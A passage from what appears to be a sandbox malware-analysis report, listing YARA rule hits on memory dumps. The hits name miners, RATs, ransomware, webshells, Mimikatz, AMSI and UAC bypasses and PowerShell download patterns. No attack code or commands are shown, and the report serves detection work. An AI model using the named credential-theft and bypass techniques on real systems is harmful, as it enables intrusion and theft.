Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6268576251.0000028BD5F61000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6268576251.0000028BD5F61000.00000004.00000001.sdmp, 
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Author: Joe Security
Rule: Codoso_Gh0st_1, Description: Detects Codoso APT Gh0st Malware, Source: 
00000023.00000003.6275312196.0000028BD7491000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Certutil_Decode_OR_Download, Description: Certutil Decode, Source: 
00000023.00000003.6275312196.0000028BD7491000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 
00000023.00000003.6275312196.0000028BD7491000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Base64_PS1_Shellcode, Description: Detects Base64 encoded PS1 Shellcode, 
Source: 
00000023.00000003.6428681257.0000028BD5FA3000.00000004.00000001.sdmp, 
Author: Nick Carr, David Ledbetter
Rule: Pupy_Backdoor, Description: Detects Pupy backdoor, Source: 
00000023.00000003.6428681257.0000028BD5FA3000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6428681257.0000028BD5FA3000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Meterpreter, Description: Yara detected Meterpreter, Source: 
00000023.00000003.6428681257.0000028BD5FA3000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_RevengeRAT, Description: Yara detected RevengeRAT, Source: 
00000023.00000003.6428681257.0000028BD5FA3000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, 
Source: 
00000023.00000003.6428681257.0000028BD5FA3000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_EvilGnomeRC5Key, Description: Yara detected Linux EvilGnome RC5 
key, Source: 
00000023.00000003.6428681257.0000028BD5FA3000.00000004.00000001.sdmp, 
Author: unknown
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6299135359.0000028BD5FE4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6338116203.0000028BD7305000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 
00000023.00000003.6264910076.0000028BD7D54000.00000004.00000001.sdmp, 
Author: FireEye
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.6264910076.0000028BD7D54000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6283884268.0000028BD64D2000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Cobaltbaltstrike_Payload_Encoded, Description: Detects CobaltStrike payloads, 
Source: 
00000023.00000003.6276483685.0000028BD76A0000.00000004.00000001.sdmp, 
Author: Avast Threat Intel Team
Rule: webshell_php_obfuscated_encoding, Description: PHP webshell obfuscated by 
encoding, Source: 
00000023.00000003.6276483685.0000028BD76A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.6276483685.0000028BD76A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6276483685.0000028BD76A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6320629595.0000028BD71FC000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: xtremrat, Description: Xtrem RAT v3.5, Source: 
00000023.00000003.6320629595.0000028BD71FC000.00000004.00000001.sdmp, 
Author: Jean-Philippe Teissier / @Jipe_
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6277372616.0000028BD786E000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: TA17_293A_malware_1, Description: inveigh pen testing tools & related artifacts, 
Source: 
00000023.00000003.6273486144.0000028BD7B45000.00000004.00000001.sdmp, 
Author: US-CERT Code Analysis Team (modified by Florian Roth)
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6273486144.0000028BD7B45000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6399025086.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
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00000023.00000003.6399025086.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6399025086.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.6311413449.0000028BD79B9000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.6311413449.0000028BD79B9000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: clearlog, Description: Detects Fireball malware - file clearlog.dll, Source: 
00000023.00000003.6284624022.0000028BD68F5000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: SUSP_PowerShell_Caret_Obfuscation_2, Description: Detects powershell keyword 
obfuscated with carets, Source: 
00000023.00000003.6430913129.0000028BD7E73000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6430913129.0000028BD7E73000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: MAL_unspecified_Jan18_1, Description: Detects unspecified malware sample, 
Source: 
00000023.00000003.6430913129.0000028BD7E73000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Vidar, Description: Yara detected Vidar stealer, Source: 
00000023.00000003.6430913129.0000028BD7E73000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_ByteLocker, Description: Yara detected ByteLocker Ransomware, 
Source: 
00000023.00000003.6430913129.0000028BD7E73000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6430913129.0000028BD7E73000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.6430913129.0000028BD7E73000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Artemon, Description: Yara detected Artemon Ransomware, Source: 
00000023.00000003.6430913129.0000028BD7E73000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_lazparking, Description: Yara detected LazParking Ransomware, 
Source: 
00000023.00000003.6430913129.0000028BD7E73000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6349322522.0000028BD67F0000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6316150838.0000028BD6D56000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6316150838.0000028BD6D56000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_LimeRAT, Description: Yara detected LimeRAT, Source: 
00000023.00000003.6436106917.0000028BD69FC000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CredTheft_MSIL_ADPassHunt_2, Description: unknown, Source: 
00000023.00000003.6348949380.0000028BD7D54000.00000004.00000001.sdmp, 
Author: FireEye
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.6348949380.0000028BD7D54000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6306591281.0000028BD7440000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6340321135.0000028BD67F0000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6346082988.0000028BD6579000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in 
memory (False Positives: an service that could have copied a Mimikatz executable, AV 
signatures), Source: 
00000023.00000003.6280069144.0000028BD7AC1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura 
Assembly Loader, Source: 
00000023.00000003.6322660545.0000028BD67AB000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6322660545.0000028BD67AB000.00000004.00000001.sdmp, 
Author: Joe Security
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Rule: Base64_PS1_Shellcode, Description: Detects Base64 encoded PS1 Shellcode, 
Source: 
00000023.00000003.6439110180.0000028BD7F7A000.00000004.00000001.sdmp, 
Author: Nick Carr, David Ledbetter
Rule: WScript_Shell_PowerShell_Combo, Description: Detects malware from Middle 
Eastern campaign reported by Talos, Source: 
00000023.00000003.6439110180.0000028BD7F7A000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_MetasploitPayload_3, Description: Yara detected Metasploit Payload, 
Source: 
00000023.00000003.6439110180.0000028BD7F7A000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6344420092.0000028BD7070000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6344420092.0000028BD7070000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6332134086.0000028BD7440000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6264075284.0000028BD8107000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6264075284.0000028BD8107000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6264075284.0000028BD8107000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Njrat, Description: Yara detected Njrat, Source: 
00000023.00000003.6276951583.0000028BD782D000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6423998600.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6423998600.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6423998600.0000028BD6EA1000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in 
memory (False Positives: an service that could have copied a Mimikatz executable, AV 
signatures), Source: 
00000023.00000003.6295888912.0000028BD60A3000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: APT_DeputyDog_Fexel, Description: unknown, Source: 
00000023.00000003.6295229489.0000028BD65FD000.00000004.00000001.sdmp, 
Author: ThreatConnect Intelligence Research Team
Rule: Mimikatz_Memory_Rule_1, Description: Detects password dumper mimikatz in 
memory (False Positives: an service that could have copied a Mimikatz executable, AV 
signatures), Source: 
00000023.00000003.6282378484.0000028BD702F000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6299891132.0000028BD7070000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6299891132.0000028BD7070000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6398582086.0000028BD6E91000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6398582086.0000028BD6E91000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6398582086.0000028BD6E91000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6266904104.0000028BD642E000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_generic, Description: php webshell having some kind of input and 
some kind of payload. restricted to small files or big ones inclusing suspicious strings, 
Source: 
00000023.00000003.6435757961.0000028BD7C8D000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic_eval_on_input, Description: Generic ASP webshell which 
uses any eval/exec function directly on user input, Source: 
00000023.00000003.6435757961.0000028BD7C8D000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation 
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with suspicious parameters, Source: 
00000023.00000003.6435757961.0000028BD7C8D000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Oilrig_IntelSecurityManager_macro, Description: Detects OilRig malware, Source: 
00000023.00000003.6435757961.0000028BD7C8D000.00000004.00000001.sdmp, 
Author: Eyal Sela (slightly modified by Florian Roth)
Rule: JoeSecurity_Cobra_Locker, Description: Yara detected Cobra Locker ransomware, 
Source: 
00000023.00000003.6435757961.0000028BD7C8D000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Cobaltbaltstrike_Payload_Encoded, Description: Detects CobaltStrike payloads, 
Source: 
00000023.00000003.6333202344.0000028BD76A0000.00000004.00000001.sdmp, 
Author: Avast Threat Intel Team
Rule: webshell_php_obfuscated_encoding, Description: PHP webshell obfuscated by 
encoding, Source: 
00000023.00000003.6333202344.0000028BD76A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.6333202344.0000028BD76A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6333202344.0000028BD76A0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6336368207.0000028BD7C4C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6332319497.0000028BD7A3C000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6332319497.0000028BD7A3C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6308819602.0000028BD71FC000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: xtremrat, Description: Xtrem RAT v3.5, Source: 
00000023.00000003.6308819602.0000028BD71FC000.00000004.00000001.sdmp, 
Author: Jean-Philippe Teissier / @Jipe_
Rule: SUSP_Base64_Encoded_Hex_Encoded_Code, Description: Detects hex encoded 
code that has been base64 encoded, Source: 
00000023.00000003.6292767693.0000028BD7F7B000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000023.00000003.6292767693.0000028BD7F7B000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6292767693.0000028BD7F7B000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: HackTool_Samples, Description: Hacktool, Source: 
00000023.00000003.6296840471.0000028BD7347000.00000004.00000001.sdmp, 
Author: unknown
Rule: PS_AMSI_Bypass, Description: Detects PowerShell AMSI Bypass, Source: 
00000023.00000003.6296840471.0000028BD7347000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6296840471.0000028BD7347000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Certutil_Decode_OR_Download, Description: Certutil Decode, Source: 
00000023.00000003.6438080287.0000028BD7556000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Allatori_JAR_Obfuscator, Description: Yara detected 
Allatori_JAR_Obfuscator, Source: 
00000023.00000003.6329904387.0000028BD62AA000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: RemCom_RemoteCommandExecution, Description: Detects strings from RemCom 
tool, Source: 
00000023.00000003.6320105225.0000028BD6890000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: SUSP_PowerShell_IEX_Download_Combo, Description: Detects strings found in 
sample from CN group repo leak in October 2018, Source: 
00000023.00000003.6431685607.0000028BD6D56000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6431685607.0000028BD6D56000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6438769310.0000028BD7F39000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6438769310.0000028BD7F39000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
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00000023.00000003.6272308582.0000028BD6A80000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_jsp_by_string, Description: JSP Webshells which contain unique strings, 
lousy rule for low hanging fruits. Most are catched by other rules in here but maybe these 
catch different versions., Source: 
00000023.00000003.6318934861.0000028BD62E5000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6324978129.0000028BD7280000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_obfuscated, Description: ASP webshell obfuscated, Source: 
00000023.00000003.6324978129.0000028BD7280000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_asp_generic, Description: Generic ASP webshell which uses any 
eval/exec function indirectly on user input or writes a file, Source: 
00000023.00000003.6324978129.0000028BD7280000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6311853685.0000028BD7A3C000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6311853685.0000028BD7A3C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: SUSP_PowerShell_Caret_Obfuscation_2, Description: Detects powershell keyword 
obfuscated with carets, Source: 
00000023.00000003.6265938697.0000028BD6B47000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: SUSP_PowerShell_IEX_Download_Combo, Description: Detects strings found in 
sample from CN group repo leak in October 2018, Source: 
00000023.00000003.6265938697.0000028BD6B47000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation 
with suspicious parameters, Source: 
00000023.00000003.6265938697.0000028BD6B47000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.6265938697.0000028BD6B47000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Tofu_Backdoor, Description: Detects Tofu Trojan, Source: 
00000023.00000003.6337514171.0000028BD6735000.00000004.00000001.sdmp, 
Author: Cylance
Rule: JoeSecurity_cerber, Description: Yara detected Cerber ransomware, Source: 
00000023.00000003.6433758529.0000028BD7B86000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.6433758529.0000028BD7B86000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: WScript_Shell_PowerShell_Combo, Description: Detects malware from Middle 
Eastern campaign reported by Talos, Source: 
00000023.00000003.6328027500.0000028BD6832000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: Ammyy_Admin_AA_v3, Description: Remote Admin Tool used by APT group 
Anunak (ru) - file AA_v3.4.exe and AA_v3.5.exe, Source: 
00000023.00000003.6271903950.0000028BD6A3F000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_UACMe, Description: Yara detected UACMe UAC Bypass tool, Source: 
00000023.00000003.6271903950.0000028BD6A3F000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6271903950.0000028BD6A3F000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6318060550.0000028BD7A7F000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6318060550.0000028BD7A7F000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: GoldDragon_Aux_File, Description: Detects export from Gold Dragon - February 
2018, Source: 
00000023.00000003.6433098800.0000028BD744E000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6433098800.0000028BD744E000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6433098800.0000028BD744E000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6284121658.0000028BD64F4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000023.00000003.6284121658.0000028BD64F4000.00000004.00000001.sdmp, 
Author: Joe Security
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Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6284121658.0000028BD64F4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6308216657.0000028BD7178000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, 
Source: 
00000023.00000003.6308216657.0000028BD7178000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6339973088.0000028BD6769000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6294570357.0000028BD7EB4000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6294570357.0000028BD7EB4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6294570357.0000028BD7EB4000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6324441483.0000028BD7178000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Conti_ransomware, Description: Yara detected Conti ransomware, 
Source: 
00000023.00000003.6324441483.0000028BD7178000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.6315606620.0000028BD6CD3000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6315606620.0000028BD6CD3000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_base64_encoded_payloads, Description: php webshell containing 
base64 encoded payload, Source: 
00000023.00000003.6430060790.0000028BD7CD0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6430060790.0000028BD7CD0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.6430060790.0000028BD7CD0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_known_webshell, Description: Known PHP Webshells 
which contain unique strings, lousy rule for low hanging fruits. Most are catched by other 
rules in here but maybe these catch different versions., Source: 
00000023.00000003.6430060790.0000028BD7CD0000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: JoeSecurity_hidden_tear, Description: Yara detected HiddenTear ransomware, 
Source: 
00000023.00000003.6430060790.0000028BD7CD0000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6429470799.0000028BD77A7000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Cryptolocker, Description: Yara detected Cryptolocker ransomware, 
Source: 
00000023.00000003.6429470799.0000028BD77A7000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: webshell_php_gzinflated, Description: PHP webshell which directly eval()s 
obfuscated string, Source: 
00000023.00000003.6313262116.0000028BD723F000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_dynamic_big, Description: PHP webshell using $a($code) for kind of 
eval with encoded blob to decode, e.g. b374k, Source: 
00000023.00000003.6313262116.0000028BD723F000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: webshell_php_by_string_obfuscation, Description: PHP file containing obfuscation 
strings. Might be legitimate code obfuscated for whatever reasons, a webshell or can be 
used to insert malicious Javascript for credit card skimming, Source: 
00000023.00000003.6313262116.0000028BD723F000.00000004.00000001.sdmp, 
Author: Arnim Rupp
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6313262116.0000028BD723F000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6313262116.0000028BD723F000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
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00000023.00000003.6317125613.0000028BD6C91000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6317125613.0000028BD6C91000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: JoeSecurity_Coinhive, Description: Yara detected Coinhive miner, Source: 
00000023.00000003.6317125613.0000028BD6C91000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: CoinMiner_Strings, Description: Detects mining pool protocol string in Executable, 
Source: 
00000023.00000003.6338346630.0000028BD733C000.00000004.00000001.sdmp, 
Author: Florian Roth
Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 
00000023.00000003.6338346630.0000028BD733C000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Pupy_Backdoor, Description: Detects Pupy backdoor, Source: 
